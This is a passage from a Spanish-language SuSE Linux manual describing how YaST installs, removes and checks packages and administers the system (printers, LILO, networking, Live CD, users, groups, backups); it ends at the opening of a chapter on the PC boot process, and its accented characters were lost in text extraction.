Tambin existe la posibilidad de arrancar desde este men la instalacin mis-


ma o echar un vistazo para averiguar lo que pasara en caso de instalar la
configuracin actualmente seleccionada.

3.5.1 Cargar configuracin


Bajo la opcin `Cargar configuracin' se encuentran un par de configu-
raciones preparadas por nosotros. Entre ellas hay un sistema minimizado que
se debera instalar en caso de haber arrancado YaST desde disquetes. Este
sistema bsico permite arrancar Linux desde el disco duro para la instalacin
posterior de paquetes adicionales; en tal caso, el rendimiento es mucho may-
or, dado que YaST junto con el sistema bsico ya se encuentra en el disco
duro.
Si ha generado perfiles de instalacin propios, es posible activarlos aqu. Se
trata de un procedimiento especialmente til para instalar varias computado-
ras con la misma configuracin.
Al aplicar una configuracin diferente sobre un sistema ya instalado, se deben
marcar para borrar, todos los paquetes ya instalados que no correspondan a
la nueva configuracin; si se desea mantenerlos, entonces se debe contestar
No a la pregunta de seguridad sobre si realmente los quiere borrar o no. Esta
pregunta aparece despus de haber elegido `Empezar Instalacin' en el
men de eleccin de paquetes. De lo contrario se tendran que deseleccionar
uno a uno todos los paquetes marcados con `[D]' para que despus aparez-
can marcados con `[i]'.

84
3.5. Escoger / Instalar paquetes

3.5.2 Salvar configuracin


Aqu se puede salvar la configuracin personal. Si se ha arrancado YaST
desde el disquete, se usar el mismo para salvarla. Si por el contrario se
ha arrancado directamente desde el CD, YaST pide introducir un disquete
formateado para guardar los datos en l.

3.5.3 Cambiar / Crear configuracin


Al elegir esta opcin se entra en el editor de seleccin (Figura 3.12), que
le permite determinar libremente el contenido de la instalacin o modificar
una configuracin prefabricada y actualmente cargada (ver apartado 3.5.1,
Pgina 84). Otra caracterstica de esta opcin es la de poder borrar paquetes
instalados despus de la instalacin principal en concepto de mantenimiento
del sistema.

Figura 3.12: Seleccin de las series en YaST

 
Es posible moverse por la lista de opciones usando las flechas " y # tal
    
como las teclas Re Pg y Av Pg . Con  - se puede llegar al sub-men
para elegir los paquetes dentro de cada serie.
El panel inferior informa sobre los espacios disponibles y ocupados en el
sistema.

Pulsando la tecla F4 es posible reordenar los paquetes para as ten-
er una agrupacin diferente de los mismos (Figura 3.13). Actualmente,
aparte de `Series', existe la opcin `Todos los paquetes' (ingl. `All
packages' ), tras la cual se esconde la antigua serie ALL.
 
Para salir de una opcin, p. ej. de la seleccin de series, se pulsa F10 y as
volver al men de configuracin superior.
 
Una vez seleccionada una serie y pulsando  -  , se entra en la parte de elec-
cin de paquetes de la correspondiente serie (la Figura 3.14 muestra p. ej. el

85
3. YaST Yet another Setup-Tool

Figura 3.13: Reordenar paquetes en YaST

contenido de la serie a). En caso de haber cargado anteriormente una con-


figuracin, todos los paquetes que ya estn seleccionados aparecen marcados
con una X.

Figura 3.14: Seleccin de paquetes, serie a1 (Sistema base)

En el panel inferior aparece siempre una descripcin corta del paquete que es-
t actualmente seleccionado. El panel derecho informa sobre el gasto actual
de espacio en las particiones del disco. Estos valores se actualizan continua-
mente a medida que se vaya seleccionando o deseleccionando un paquete.
A veces el espacio disponible para la descripcin de los paquetes o para la
informacin sobre las particiones no alcanza para mostrarlo todo, no obstante,

86
3.5. Escoger / Instalar paquetes

  
con F2 o F3 es posible ampliar estos paneles y as ver toda la informacin
en una ventana aparte.
Por delante del nombre de paquete se indica su estado actual:

`[ ]' indica un paquete que an no se ha instalado


`[X]' indica un paquete que est por instalarse
`[i]' indica un paquete que ya est instalado
`[D]' indica un paquete que est por borrarse
`[R]' indica un paquete que est por actualizarse
 
Pulsando  - se cambia entre los estados `[ ]' y `[X]' o entre `[i]',
`[R]' y `[D]'. Desde esta
 posicin
. Si desea
en el men es posible volver a la selec-
cin de series pulsando F10 
 .
salir de la seleccin de paquetes sin
que las modificaciones tengan efecto, simplemente pulse Esc 
Si durante la instalacin se da cuenta que el espacio previsto en el disco
duro no alcanza para la instalacin deseada o que hace falta dividir el disco
en particiones diferentes, entonces es posible reparticionarlo en cualquier
momento. El proceso de particionar no se efecta antes de haber salido por
primera vez de YaST.
En caso de haber arrancado YaST desde disquetes, primero se instala una
configuracin mnima, se arranca Linux y despus se procede a instalar los
paquetes que hagan falta. Tambin en este caso es posible seleccionar a modo
de prueba todos los paquetes que se quiere instalar para averiguar el gasto de
espacio de la configuracin deseada.

3.5.4 Qu pasara si...?


YaST es tambin una utilidad de desinstalacin de paquetes, por lo tanto,
existe la opcin de comprobar que no se va a borrar ningn fichero que sea
absolutamente imprescindible para el buen funcionamiento del sistema.

3.5.5 Empezar instalacin


Con esta opcin comienza realmente la instalacin. Todos los paquetes elegi-
dos se leen desde el medio de instalacin, se descomprimen y se escriben en
la particin destino.
Si se han modificado las particiones del disco duro durante el inicio actual de
YaST, entonces todava no se puede efectuar la instalacin, ya que hace falta
reiniciar la computadora despus de cualquier modificacin de una particin.
Los datos modificados de las particiones no se escriben en el disco antes de
salir de YaST.
Durante la instalacin se indican en la ventana inferior los posibles mensajes
de error y de estado. La lnea superior indica siempre cul paquete se instala
en cada momento.
 
Despus de la instalacin es posible cambiar con Tab a la ventana de apuntes
(protocolo) y desde all desplazarse hacia arriba para ver y analizar los posi-
bles mensajes de error.

87
3. YaST Yet another Setup-Tool

3.5.6 Comprobar las dependencias


Aqu YaST comprueba las dependencias entre los paquetes instalados y los
previstos para instalar excepto los que estn marcados para borrar. En otras
palabras, lo que se comprueba es la correcta coexistencia de todos los paque-
tes como si ya se hubiera elegido `Empezar Instalacin'.
Existen los siguientes tipos de dependencias:

AND Instalando este paquete se deben instalar todos los dems o bien
ya deben estar instalados. Ejemplo: Instalando un compilador se
necesitan tambin los ficheros Include y los Libs.
OR Instalando este paquete, se debe instalar o debe estar instalado
como mnimo uno de los paquetes indicados.
EXCL Instalando este paquete no se debe instalar o no debe estar insta-
lado ninguno de los paquetes indicados.

Tabla 3.1: Dependencias entre los paquetes

Las dependencias entre paquetes encontradas finalmente se apuntan en una


lista.

3.5.7 Listado de las series y paquetes


Aqu simplemente se muestra una lista de todos los paquetes en el CD. Los
paquetes marcados con `*' ya estn instalados o bien seleccionados para ser
instalados. Esta funcin es muy prctica a la hora de conseguir un resumen
rpido.

3.5.8 Informacin sobre paquetes


A veces uno quiere saber dnde se esconde en el SuSE Linux -CD el fants-
tico programa que mencionaron en una revista de PC.
Para buscar paquetes y ficheros de forma sencilla y rpida, en el SuSE Linux
-CD y en el sistema instalado hay informacin sobre estos; simplemente se
indica el nombre del fichero que se necesita y YaST proceder a buscarlo en
el medio indicado y presentar un listado con los sitios localizados.

3.5.9 Instalar paquetes


Esta opcin existe para instalar cualquier paquete, p. ej. versiones nuevas o
corregidas que proporcionamos en el servidor FTP ftp.suse.com. Tam-
bin sirve para instalar paquetes generados por cuenta propia o recibidos de
otras fuentes. Se soportan ficheros Tar comprimidos (.tgz) y paquetes RPM
(.rpm, .spm y .src.rpm) al igual que paquetes especiales tipo Patch (.pat),
que proporcionamos segn necesidad en nuestro servidor FTP.
 ):
La instalacin se realiza en 3 pasos (es posible ver instrucciones explcitas
pulsando F1 
 Seleccin de la fuente de instalacin

88
3.5. Escoger / Instalar paquetes

 Seleccin de los paquetes all ofrecidos


 Instalacin de los paquetes
 
Pulsando  - en la opcin `Fuente': aparece un listado de las posi-
bles fuentes de instalacin: `Directorio', `FTP', `Medio fuente' y
`Disquete'. Podra ser necesario
  cambiar el path predefinido (Directo-
rio/FTP) y confirmarlo con  - . YaST muestra ahora una lista con los
paquetes disponibles all y entonces es posible instalar directamente desde In-
ternet usando la opcin `FTP'. Por defecto aparece la direccin ftp.suse.
com:/pub/SuSE-Linux/suse_update (ver Figura 3.15, Pgina 89).

Figura 3.15: Instalar paquetes va FTP

Si aparece un mensaje como "530 User ftp access denied", lo ms


probable es que solo de modo temporal no haya acceso por saturacin.
Prubelo ms tarde cuando haya menos usuarios conectados al sistema.

Una vez alcanzado el paquete rpm que se quiere instalar, como siempre, se
   . El paquete correspondi-
marca con Espacio y despus se instala con F10 
ente se copia tambin en el directorio /tmp/ftp<nmero de proceso>,
de este modo existe la posibilidad de instalarlo a mano ms tarde, en caso de
que algo hubiese ido mal.

3.5.10 Eliminar/Borrar paquetes


Al seleccionar esta opcin, YaST mostrar una lista de todos los paquetes que
estn instalados en el sistema incluidos los paquetes ajenos. Como paquete
ajeno se entiende un paquete que no se encuentra en ningn SuSE-CD.
En tal caso, YaST no puede hacer ninguna actualizacin y tampoco puede
comprobar las dependencias entre ellos.
 aparece
Lo ms sencillo es reemplazarlos por los paquetes correspondientes al SuSE-
CD. Para ello se selecciona en la lista los paquetes afectados; con F2 

89
3. YaST Yet another Setup-Tool

 se borran los paquetes seleccionados y despus es posible


una descripcin breve del paquete, ya que no existe ninguna descripcin larga
para ellos; con F10 
instalarlos otra vez desde el CD de SuSE.

3.6 Actualizar el sistema


No se debera usar la opcin `Actualizar sistema' si el sistema base no
es lo suficientemente actual - es decir, cuando su versin no es igual a la del
medio fuente. De todas maneras YaST lo indicar claramente.
Los paquetes sueltos se actualizan con YaST segn el apartado 3.5.9.

3.7 Administracin del sistema


Adems de la pura instalacin, YaST le soporta tambin en las diferentes
tareas de administracin que tendr que afrontar como Administrador de
sistema.
Despus de finalizar realmente la instalacin, es necesario ajustar una serie
de parmetros para adaptar el sistema a los requerimientos particulares, tales
como: configuracin y activacin de servicios de red, instalacin de hard-
ware adicional, generacin de usuarios, determinacin de las propiedades de
arranque de SuSE Linux, etc.

Figura 3.16: Administracin del sistema

Para entrar en la parte de administracin del sistema hay que elegir


`Administracin del sistema' (Figura 3.16, Pgina 90) en el men
principal de YaST (ver Figura 3.1, Pgina 74).

3.7.1 Instalar hardware en el sistema


Aqu es posible especificar con ms detalle el hardware usado. Por lo general
se genera un enlace simblico (Enlace) (ingl. Link) entre un dispositivo

90
3.7. Administracin del sistema

estndar y el hardware. As se puede acceder fcilmente al hardware sin


necesidad de recordar el nombre exacto del mismo.

Figura 3.17: Configuracin de hardware

Las configuraciones de mouse, escner, tarjeta de red y lector CD-ROM son


muy simples solo hay que seguir las indicaciones de los mens ;-)
Por otra parte, la configuracin de la impresora, que se encuentra en el prxi-
mo apartado, es algo ms complicada.

Configurar impresoras
El acceso a una impresora bajo Linux es un proceso complejo. Afortunada-
mente existe el programa apsfilter que es un filtro potente capaz de reconocer
automticamente el tipo de un fichero para luego convertirlo y mandarlo a la
impresora.
El formato PostScript juega un papel muy importante en Linux tal como en
los otros sistemas Unix. Imprimir un fichero PostScript en una impresora
PostScript es bastante sencillo. Lamentablemente por el alto precio de las
mismas la minora de los usuarios tiene una impresora con estas caractersti-
cas. Por eso se usa Ghostscript (gs), un programa gratuito, que se encarga
de la interpretacin de un documento en PostScript para despus convertirlo
a un formato que entiende la impresora directamente.
Cuando se usa apsfilter tambin los ficheros ASCII se convierten primero a
PostScript para ser impresos directamente en una impresora PostScript o bien
para enviarlos va Ghostscript a cualquier impresora.
YaST ofrece la posibilidad de configurar cmodamente el apsfilter para la
impresora.
Si tiene una impresora de color, active la correspondiente opcin en la pan-
talla mostrada arriba. En `Tipo de impresora' indique si la impresora
entiende PostScript o no.

91
3. YaST Yet another Setup-Tool

Figura 3.18: Configurar apsfilter con YaST

La opcin `Nombre de la impresora' muestra todas las impresoras so-


portadas por Ghostspript. Desde esta lista se debe elegir la impresora que
se usa (ver apartado 12.6, Pgina 300). En caso de no haber un driver
de Ghostscript disponible, es posible introducirlo a mano usando la opcin
`Otra impresora' y despus `<Personalizada>'; comprobar medi-
ante la ejecucin de gs -h, si la versin instalada de Ghostscript realmente
reconoce este driver. Actualmente, lo ms seguro para configurar el driver
uniprint y su fichero de parmetros es el uso de SETUP (ver el aparta-
do 12.3, Pgina 294).
En caso de no encontrar su impresora en la lista, se puede probar un modelo
parecido, que puede ser el antecesor al modelo actual. Si se tiene por ejemplo
una HP Laserjet 5L, entonces se elegira de la lista la HP Laserjet 4.
Respecto al `Formato de papel', lo ms normal para Espaa es elegir A4
pero tambin se soporta el tipo carta (letter) para las Amricas.
Si la impresora est conectada a un Puerto serie se puede indicar adicional-
mente la velocidad de transferencia para este puerto.
Hoy en da las impresoras suelen estar conectadas a un puerto paralelo (puerto
de impresora), as que se debe indicar el puerto que se va a usar. Siempre
que la impresora se conecta al primer puerto paralelo y a partir de la versin
2.2.xx del kernel, este puerto es /dev/lp0. Por el contrario, se usa /dev/lp1
cuando la computadora est equipada con dos puertos paralelos; /dev/lp2
indica el puerto en el cual se encuentra una tarjeta grfica de Hrcules 2 .
Es necesario comprobar y tal vez ajustar `Resolucin en dpi'; conviene
seguir las instrucciones del manual de su impresora.

2 Hasta la versin 2.0.xx del kernel, se accede al primer puerto paralelo con /dev/lp1; ver

apartado 12.1, Pgina 286 en adelante.

92
3.7. Administracin del sistema

3.7.2 Configuracin del kernel y arranque


Aqu es posible hacer ajustes bsicos que tienen influencia sobre el arranque
del sistema y el kernel usado.

Figura 3.19: Configuracin de kernel y arranque

`Elegir el kernel (de arranque)'


Para instalar un kernel precompilado (desde el SuSE-CD) en el sistema, selec-
cione (`Elegir el kernel'). Este se ofrece por ejemplo cuando la primera
seleccin durante la instalacin no fue la ptima. YaST tambin le ofrecer
copiar la configuracin del kernel (.config) al directorio de las fuentes del
mismo (/usr/src/linux).
Seleccione el kernel para la arquitectura especial de la computadora EIDE,
MCA o SCSI (ver Figura 2.10, Pgina 28) y deje que YaST configure de
nuevo el LILO.
Para el usuario avanzado es bastante recomendable que compile su propio
kernel una vez finalizada la instalacin (ver Captulo 13). Un kernel as
hecho justamente a medida del sistema es ms pequeo, ms rpido y evi-
ta problemas de drivers con hardware no existente. Como principiante en
el tema de Linux es mejor quedarse con el kernel estndar que le suminis-
tramos, ya que solo usando este kernel estndar, tendr derecho al soporte de
instalacin.

`Crear un disco de arranque'


Usando la opcin `Crear un disco de arranque' se puede generar un
disco de arranque para el sistema; si no se hubiera hecho durante la insta-
lacin, debe hacerse ahora en todo caso. Este disquete permite arrancar el
sistema cuando por ejemplo algo ha ido mal en la instalacin del LILO, cuan-
do la computadora ya no quiere arrancar por el camino normal o por cualquier
otra razn.

93
3. YaST Yet another Setup-Tool

Si Linux ya est instalado en el sistema y adems se quiere instalar Win-


dows, hay que generar en todo caso un disquete de arranque de Linux,
porque Windows por supuesto supone que tiene la computadora para
s solo y modifica sin ningn previo aviso el Master Boot Record!

`Crear disco de rescate'


Un disquete de emergencia o de rescate (rescue disk) es bueno cuando el
sistema Linux ya no quiere arrancar de ninguna otra forma. Se genera con la
opcin `Crear disco rescate' (ver apartado 16.4, Pgina 376).

`Configuracin LILO'
YaST ofrece tambin una pantalla para una fcil configuracin del LILO
(ingl. LInux LOader) (Figura 3.20, Pgina 94). LILO gestiona tambin el
arranque de OS/2-, DOS- y Windows 95/98, pero hay que tener cuidado con
Windows NT. En el Captulo 4 hay ms informacin sobre el significado de
cada campo y de sus opciones.

Figura 3.20: Instalacin de LILO

La `Lnea para parmetros de hardware' se queda generalmente


vaca; ver apartado 4.4.2.
`Dnde desea instalar LILO?': Si solo existe Linux en la computa-
dora, entonces Master boot record es el sitio correcto; Arranque de la
particin raz se recomienda cuando se quiere arrancar Linux con otro
gestor de arranque (ingl. Bootmanager); en disquete: est claro, verdad?.
La explicacin tcnica de estos ajustes se da en el apartado 4.3.
`Retraso arranque': Se indica en segundos.
`Opcin "linear"': Se trata de una opcin que generalmente no se nece-
sita; ver tambin apartado 4.4.2.

94
3.7. Administracin del sistema

Con `F4=Nueva Conf.' se fija el nombre de una nueva configuracin; re-


sulta prctico llamar linux a la configuracin estndar. Las configuraciones
ya existentes pueden ser modificadas con `F5=Editar Conf.'. Para ello
YaST proporciona una pantalla que se muestra en la Figura 3.21, Pgina 95.

Figura 3.21: LILO: Configuracin de arranque

Los significados de los campos son los siguientes:


`Nombre de la configuracin': Depende de la imaginacin.
`Qu sistema operativo': se ofrecen las posibilidades de: Arrancar Linux,
Arrancar DOS/Win la opcin correcta para Windows 95 y 98 y
Arrancar OS/2.
`Particin raz a arrancar': Pulsar `F3' y elegir la particin correc-
ta.
`Kernel opcional': Solo marcar cuando este kernel no est a disposicin
permanentemente, o sea, en caso de un kernel que solamente se instala para
pruebas.
`Kernel a iniciar por LILO': La ubicacin estndar es ahora /boot/
vmlinuz; con `F3' se puede pasar por el rbol de directorios.

Cuando se configura LILO se recomienda aadir una segunda configu-


racin (p. ej. old) para la cual se indica como kernel a arrancar /boot/
vmlinuz.old y adems el campo `Kernel opcional'; as tambin se
podr arrancar el sistema cuando un kernel recientemente compilado no
funcione, porque usando la instalacin automtica de LILO siempre se
genera una copia de seguridad del antiguo kernel, que se puede iniciar con
la configuracin old (ver Captulo 13).

3.7.3 Configuracin de red


Con YaST es posible efectuar los ajustes bsicos de la red (ver Figura 3.22,
Pgina 96). En todo caso configure la red, aunque la computadora en realidad

95
3. YaST Yet another Setup-Tool

no se encuentre en ella o no tenga tarjeta de red! Hay muchos programas que


necesitan soporte de red para poder funcionar correctamente.

Figura 3.22: Configuracin de la red

`Configuracin bsica de red' Aqu se define(n) bsicamente la(s)


Direccin(es)-IP y se asignan a las interfaces de red (tarjeta red, disposi-
tivo PPP o RDSI, etc.); el apartado 6 aclara estos trminos.
`Cambiar nombre del host' Se puede definir el nombre de la computa-
dora (ingl. hostname) y el nombre de dominio (ms informacin otra vez
en el apartado 6).
`Configurar servicios de red' Con esta opcin se configuran mu-
chos servicios bsicos de uso frecuente: inetd (para telnet, ftp, imprimir
etc.), portmap (para los servidores NFS y NIS) y rpc.nfsd (para servidor
NFS).
`Configuracin DNS' Es posible indicar uno o varios servidores de nom-
bres (ver el apartado 17.6, Pgina 390).
`Configuracin cliente YP' Esta opcin es activa cuando el paquete
ypclient, serie n est instalado (ver el apartado 6.4 y el apartado 17.6,
Pgina 392).
`Cliente DHCP' Esta opcin es activa cuando el paquete dhclient, serie
n est instalado.
`Configurar sendmail' Para sendmail se puede instalar tambin un
fichero de configuracin, que brinda suficiente funcionalidad para muchas
tareas diferentes.
`Administrar impresoras remotas' Esta opcin permite configurar
impresoras que son accesibles va red a travs de TCP/IP. Para configurar
la impresora de red lp, que se encuentra en el servidor de impresin
sol.cosmos.univ con el nombre local remote, rellene el formulario .
Si se necesita un pre-filtro para esta impresora, consultar el aparta-
do 12.4, Pgina 297.

96
3.7. Administracin del sistema

`Conectar impresora mediante Samba' Esta opcin se activa cuando


el paquete samba, serie n est instalado y permite el acceso a una impre-
sora que se conecta a una computadora con Windows.
`Conectar impresora mediante Novell' La opcin se activa con el
paquete ncpfs, serie n instalado.
`Configurar parmetros RDSI' La opcin est activa cuando el paquete
i4l, serie n est instalado. Para RDSI se ofrecen mens con con muchos
detalles (consultar las explicaciones en el apartado 7.2, Pgina 164).
`Configuracin de PPP' Aqu se configura el acceso a travs del proto-
colo PPP (consultar las explicaciones en el apartado 7.3, Pgina 179).
En Captulo 6 hay detalles adicionales relacionados con la configuracin de
una red.

3.7.4 Configurar sistema Live


Es posible conseguir por separado, abonando una tasa de proteccin, un CD-
ROM con un sistema de ficheros en vivo (Live-filesystem). Se puede arran-
car desde este Live-CD alcanzando as varios objetivos:
 Es posible arrancar directamente un sistema Linux (incluido Sistema
X Window) desde este CD-ROM sin instalar nada en el disco duro. Esto
es muy til para saber si una determinada computadora corre con SuSE
Linux o para tener a mano un sistema de rescate amplio e indestructible
(ver apartado 16.4, Pgina 376).
 Tambin se puede enlazar el Live-System a un sistema SuSE Linux
instalado en el disco duro, lo que solamente tiene sentido cuando no hay
suficiente espacio en el disco para una instalacin completa; esta segunda
posibilidad es la que nos ocupa ahora.

Tenga en cuenta que el sistema Live tampoco representa otra cosa que
una seleccin de software, ya que el espacio en un CD-ROM tambin es
limitado.

Para la integracin del sistema-Live se selecciona en YaST `Integrar


sistema de ficheros Live CD'. Llevando a cabo esto, YaST genera en-
laces simblicos para cada paquete que an no est instalado. Estos enlaces
apuntan a los paquetes en el CD, as que se pueden ejecutar todos los progra-
mas desde el CD sin ocupar espacio en el disco duro. Hay que vigilar que
a partir de ahora ser obligatorio colocar el CD con el Live-system antes de
arrancar Linux, ya que durante el arranque ste se monta sobre el Punto
de anclaje (ingl. Mountpoint) /S.u.S.E. Si se desea trabajar con otro CD,
primero se debe arrancar con el Live-CD y despus desmontarlo con el co-
mando:
tierra: # umount /S.u.S.E.
y a continuacin se monta el otro CD.
Procediendo as, existe la posibilidad de que tambin un par de programas
bsicos se enlacen con el Live-CD. Esto significa que hay un par de progra-
mas que corren desde el CD despus de haber arrancado, as que este no se

97
3. YaST Yet another Setup-Tool

deja desmontar. Si se ha instalado el sistema base esto no tiene por qu pasar,


ya que el sistema es lo suficientemente autnomo para correr completamente
sin el Live-CD. Arranque su sistema otra vez sin el Live-CD en el lector.
Aparecern un par de mensajes de error en la pantalla, que pueden ser ig-
norados. Todos los programas necesarios para acceder al CD ya estn en su
sistema.
Si aparece "No space left on device" integrando el Live-CD, es posi-
ble que la densidad de Inode en su particin no sea suficientemente alta, lo
cual pasa muchas veces en caso de particiones pequeas. Lamentablemente,
esto solo se puede modificar formateando otra vez la particin. Para este for-
mateo indique entonces una densidad ms alta (p. ej. 1KB por inode en lugar
de 4KB ver tambin apartado 3.4.1).
Si realmente se termina la integracin del Live-CD por falta de espacio, no
se podr arrancar YaST ni siquiera para desconectar el sistema-Live, porque
YaST ya no puede generar los ficheros que necesita para su arranque. Se
deben borrar algunos enlaces simblicos que apuntan a /S.u.S.E./....3
Despus arrancar YaST y desconectar de nuevo el sistema-Live.
Por tanto, la ventaja principal del sistema-Live es el bajo gasto de espacio en
el disco duro; existen tambin las siguientes desventajas:

 El acceso al sistema-Live es lento, porque los accesos al lector CD-ROM


son muchos ms lentos que los mismos a un disco duro.
 Como se generan muchsimos enlaces simblicos y cada uno gasta un
Inode, hace falta tener suficientes inodes libres. La cantidad de inodes se
ha fijado al generar el sistema de ficheros y solamente puede ser modifi-
cada formateando otra vez la particin.
 Hace falta una particin con un tamao mnimo de 50MB, para poder
integrar el Live-CD.

3.7.5 Opciones susewm

Este men de configuracin sirve para seleccionar el entorno grfico.


Seleccione aqu el gestor de ventanas por defecto (ingl. Windowmanager) y
determine para cules gestores susewm se deben generar ficheros de config-
uracin que estn disponibles para todo el sistema.

3.7.6 Configuracin del Login

Aqu es posible configurar el estilo del login, decidirse por una pantalla de
texto o entrar directamente al Sistema X Window. Si se desea un login grfico
se puede disponer de XDM o KDE; si se opta por KDE, se puede indicar
adicionalmente quienes son los que tienen derecho a efectuar una parada
(shutdown) del sistema. La alternativa al login grfico es el login con una
consola ASCII y el arranque de los X con el comando startx (Figura 3.24,
Pgina 99).
3 En el apartado 19.7.5, Pgina 420 se explica cmo borrar ficheros y enlaces.

98
3.7. Administracin del sistema

Figura 3.23: Configuracin susewm

Figura 3.24: Configuracin del Login

Si no hay total seguridad en que los X (Sistema X Window) arrancarn sin


problemas, no se deberan activar ni XDM ni KDE. En todo caso pruebe
primero si se pueden arrancar los X desde una consola antes de activar un
gestor de ventana para el login.

El nivel de ejecucin 3 (ingl. runlevel 3) se anota en /etc/inittab como


nivel de ejecucin predeterminado y se define una nueva variable en /etc/
rc.config (ver apartado 17.6, Pgina 394). Si se usa el nivel de arranque tres
para otro asunto que no sea el de ejecutar XDM o KDE, siempre se activar
uno de ellos.

99
3. YaST Yet another Setup-Tool

3.7.7 Administracin de usuarios


Con YaST es posible generar usuarios nuevos, borrarlos o modificar-
los de manera amigable. El dilogo correspondiente se encuentra en
`Administracin de sistema' bajo la opcin `Administracin de
usuarios'.

Figura 3.25: Administracin de usuarios con YaST

Todos los ficheros del directorio de ejemplo /etc/skel se copian al direc-


torio de un nuevo usuario, as que existe directamente una cierta preconfig-
uracin mnima para todos los usuarios nuevos. Despus de la instalacin,
cada usuario tiene, evidentemente, la posibilidad de adaptar estos ficheros a
sus necesidades.
Aparte de esto YaST ejecuta dos scripts, que se pueden usar para hacer un par
de tareas rutinarias adicionales:
 Despus de haber generado el usuario se ejecuta si existe el script
/usr/sbin/useradd.local. En este momento el usuario ya est dado
de alta en /etc/passwd y en /etc/shadow. Tambin existe ya el direc-
torio home del usuario y los ficheros de /etc/skel ya estn copiados en
l.
 Antes de borrar cualquier usuario se llama si existe el script /usr/
sbin/userdel.local. En este momento el usuario todava est dado
de alta en los ficheros passwd y shadow y su directorio home tambin
existe an.
A ambos scripts se les pasa el nombre de usuario como parmetro. Si el
script necesita datos adicionales (user-ID, login-shell, directorio-Home) es
relativamente fcil leerlos del fichero /etc/passwd.
Si se tiene suficiente experiencia y parece demasiado trabajo arrancar YaST
para los fines de administracin de usuario, tambin estn a disposicin los
programas useradd y userdel.

100
3.7. Administracin del sistema

3.7.8 Administracin de grupos


Con YaST tambin se pueden administrar grupos aparte de usuarios.

Figura 3.26: Administracin de grupos con YaST

Bajo Linux (como en general bajo Unix) hay que asignar un grupo a cada
usuario. Esto se necesita, porque de la dependencia al grupo se derivan
determinados derechos de acceso, p. ej. a ficheros. Con este concepto se
puede restringir el acceso hacia algunos directorios y solo permitirlo a un
determinado grupo a travs de una contrasea.
Hay un par de grupos que ya estn previstos en Linux, como por ejemplo los
grupos `users', `root', etc.
La forma `users' solamente es la representacin en forma de texto de un
grupo de usuarios pues la computadora trabaja internamente con cifras, los
llamados indicadores de grupo (ingl. group id). El fichero de configuracin
de los grupos de usuario es /etc/group.
Hasta aqu los detalles tcnicos, ya que usando YaST, generar grupos no
representa ningn problema. El dilogo para la administracin de gru-
pos se encuentra bajo `Administracin del sistema' en la opcin
`Administracin de grupos', como se puede ver en la Figura 3.26,
Pgina 101.

3.7.9 Configurar XFree86TM


Hay diferentes herramientas para configurar el Sistema X Window (XFree86);
se recomienda probar primero con SaX, cuyas caractersticas se detallan ex-
plcitamente en el apartado 9.1, Pgina 220.

3.7.10 Cambiar fichero de configuracin


La administracin de sistema de SuSE Linux se efecta casi completamente
con un fichero de configuracin central (/etc/rc.config). Los distintos

101
3. YaST Yet another Setup-Tool

scripts de arranque evalan este fichero durante el arranque y el sistema se


configura al respecto.
Usando YaST es posible modificar en un fichero central los distintos apuntes
del fichero de configuracin y as adaptar el sistema a gusto sin necesidad de
conocer en detalle todos los ficheros que resulten afectados.

Figura 3.27: Modificacin del fichero de configuracin con YaST

 modificar
Para    
el valor de una variable, primero se selecciona con las teclas
# " y despus se pulsa  - o F3 para modificarla.
Si se modifica este fichero a mano, hace falta ejecutar posteriormente el script
SuSEconfig. Este script se encarga de pasar las modificaciones hechas en
/etc/rc.config a los correspondientes ficheros de configuracin de cada
programa especfico. En el apartado 17.6, Pgina 387 hay una descripcin
detallada del fichero de configuracin con todas las posibilidades de ajuste.

3.7.11 Crear respaldos/backups


Para hacer un respaldo (ingl. backup) rpido y selectivo resulta til crear
copias de seguridad justamente de los ficheros que se han generado o modi-
ficado desde la ltima instalacin. Estos ficheros son tpicamente los de con-
figuracin y de datos y precisamente esto es lo que realiza la funcin aqu
descrita.
El correspondiente dilogo se constituye de tres pasos:

1. Definir contenido
En esta pantalla se define una lista de los directorios a excluir del Backup.
Estn previstos para ser excluidos /tmp, /dev o /proc, pero se deberan
agregar a esta lista los CD-ROMs y directorios NFS montados tal como
las particiones DOS que no lo estn. Mientras ms directorios se excluyan

102
3.7. Administracin del sistema

Figura 3.28: Respaldo (Backup) con YaST

del mecanismo backup, ms rpido funciona, porque no hace falta efectu-


ar comparaciones innecesarias entre los directorios y las descripciones de
 y - para aadir y borrar. Con F10 se contina con la siguiente
los paquetes. Las entradas en la lista de exclusiones se modifican con las
teclas +    
funcin.
2. Bsqueda
Ahora YaST busca en el sistema los ficheros a incluir en el respaldo. La
cantidad y el tamao de los ficheros ya encontrados se indica en cada
instante. Al final de la bsqueda aparece una lista con todos los datos
 
encontrados de la cual se pueden borrar todava ficheros con la tecla de
espacio  . Estos ficheros no se respaldan.
3. Fijar comando de respaldo
Aqu se determina cmo guardar los ficheros, para lo cual se introduce el
nombre de fichero y se pueden definir opciones.
El mecanismo de respaldo solo puede funcionar si no ha existido ninguna
influencia externa que haya podido modificar las fechas. Adems, la funcin
necesita bastante memoria RAM, ya que solamente los nombres de fichero
de un CD-ROM tpico ocupan 6 MB. Aparte de esto, se necesita el espacio
en disco para el respaldo, espacio que se puede reducir por el factor dos
activando la compresin de ficheros. No por nada, lo ms recomendable es
grabar el respaldo en una cinta.

103
3. YaST Yet another Setup-Tool

104
Captulo 4
Arrancar y gestor de arranque:
LILO, loadlin, etc.
En este captulo se presentan diferentes mtodos para arrancar el sistema.
Para que se puedan distinguir los diferentes mtodos, al principio se explican
algunos detalles sobre el proceso de arranque en PCs.

4.1 El proceso de arranque en un PC


Despus de encender la computadora, la BIOS (ingl. Basic Input Output
System), inicializa pantalla y teclado y comprueba la memoria RAM. Hasta
este momento para su PC todava no existe ningn medio de almacenamiento
(disquete, disco duro)!
Despus de que el sistema base haya terminado con su excursin al interior
empieza a ocuparse de sus alrededores. De los valores que estn en la CMOS
(CMOS setup) se lee la informacin sobre los dispositivos ms importantes,
la hora y la fecha. En este momento se reconoce el primer disco duro y
su geometra as que la carga del sistema operativo desde el disco puede
comenzar.
Para ello se lee desde el primer disco duro, el primer sector fsico de datos del
tamao de 512 Bytes y se carga a la memoria. El control de ejecucin pasa
a este pequeo programa y la ejecucin de los comandos en ste determina a
partir de ahora el proceso de arranque. Estos primeros 512 Bytes en el primer
disco duro se denominan en ingls Master Boot Record (MBR).
La explicacin de estos hechos aunque aqu muy simplificados permite
sacar conclusiones importantes para el entendimiento de lo expuesto a con-
tinuacin: Hasta el justo momento de cargar el MBR, el arranque es exacta-
mente el mismo en cualquier PC y completamente independiente del sistema
operativo instalado; el PC solamente tiene acceso a los dispositivos a travs
de las rutinas (drivers) grabadas en la BIOS.

Master Boot Record


La estructura del MBR est definida por una convencin independiente de los
